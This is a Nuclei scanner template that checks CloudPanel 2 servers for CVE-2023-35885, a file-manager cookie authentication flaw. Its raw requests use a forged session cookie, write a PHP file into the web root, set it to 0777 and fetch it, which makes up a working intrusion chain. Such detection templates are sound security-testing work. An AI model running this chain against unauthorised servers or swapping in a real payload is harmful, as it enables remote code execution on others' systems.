nuclei-templates/http/cves/2023/CVE-2023-35885.yaml

71 lines
2.6 KiB
YAML

id: CVE-2023-35885
info:
name: Cloudpanel 2 < 2.3.1 - Remote Code Execution
author: DhiyaneshDk
severity: critical
description: |
CloudPanel 2 before 2.3.1 has insecure file-manager cookie authentication.
remediation: |
Upgrade Cloudpanel to version 2.3.1 or later to mitigate this vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-35885
- https://www.datack.my/fallingskies-cloudpanel-0-day/
- https://github.com/datackmy/FallingSkies-CVE-2023-35885
- https://www.cloudpanel.io/docs/v2/changelog/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-35885
cwe-id: CWE-565
epss-score: 0.02745
epss-percentile: 0.89446
cpe: cpe:2.3:a:mgt-commerce:cloudpanel:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 5
vendor: mgt-commerce
product: cloudpanel
shodan-query: title:"Cloudpanel"
tags: cve,cve2023,cloudpanel,rce,instrusive
variables:
session: "ZGVmNTAyMDA3ZDI0OGNjZmU0NTVkMGQ2NmJhMjUxYjdhYzg0NzcyYzBmNjM0ODg0ODY0OWYyZTQ0MjgwZDVjZDBjNmY3MWJiZWU4ZTM4OTU4ZmE4YjViNjE4MGJiZjQ4NzA3MzcwNTJiNzFhM2JjYTBmNTdiODQ4ZDZjYjhiNmY1N2U3YTM1YWY3YjA3MTM1ZTlkYjViMjY5OTkzM2Q3NTAyOWI0ZGQ5ZDZmOTFhYTVlZTRhZjg0ZTBmZTU5NjY4NGI4OGU0NjVkNDU4MWYxOTc2MGNiMGI0ZGY2MmZjM2RkMmI4N2RhMzJkYTU4NjNjMWFmMGZlOWIwZjcyZGRkNmFhYzk3ZGVlZmY="
str1: "{{rand_base(10)}}"
str2: "{{randstr}}"
http:
- raw:
- |
GET /file-manager/ HTTP/1.1
Host: {{Hostname}}
Cookie: clp-fm={{session}}
- |
POST /file-manager/backend/makefile HTTP/1.1
Host: {{Hostname}}
Cookie: clp-fm={{session}}
Content-Type: application/x-www-form-urlencoded
id=/htdocs/app/files/public/&name={{str1}}.php
- |
POST /file-manager/backend/text HTTP/1.1
Host: {{Hostname}}
Cookie: clp-fm={{session}}
Content-Type: application/x-www-form-urlencoded
id=/htdocs/app/files/public/{{str1}}.php&content=<?php echo "{{str2}}"; ?>
- |
POST /file-manager/backend/permissions HTTP/1.1
Host: {{Hostname}}
Cookie: clp-fm={{session}}
Content-Type: application/x-www-form-urlencoded
id=/htdocs/app/files/public/{{str1}}.php&permissions=0777
- |
GET /{{str1}}.php HTTP/2
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- body_5 == str2
# digest: 4a0a00473045022049f9d9bd4e9845a2655cb6625c0ac4b92f14a6cc3143f36077b026a069f81efe022100b38daa897e5f605ec759904621770cde413133dfbc583307ca23a5a0ffe574d4:922c64590222798bb761d5b6d8e72950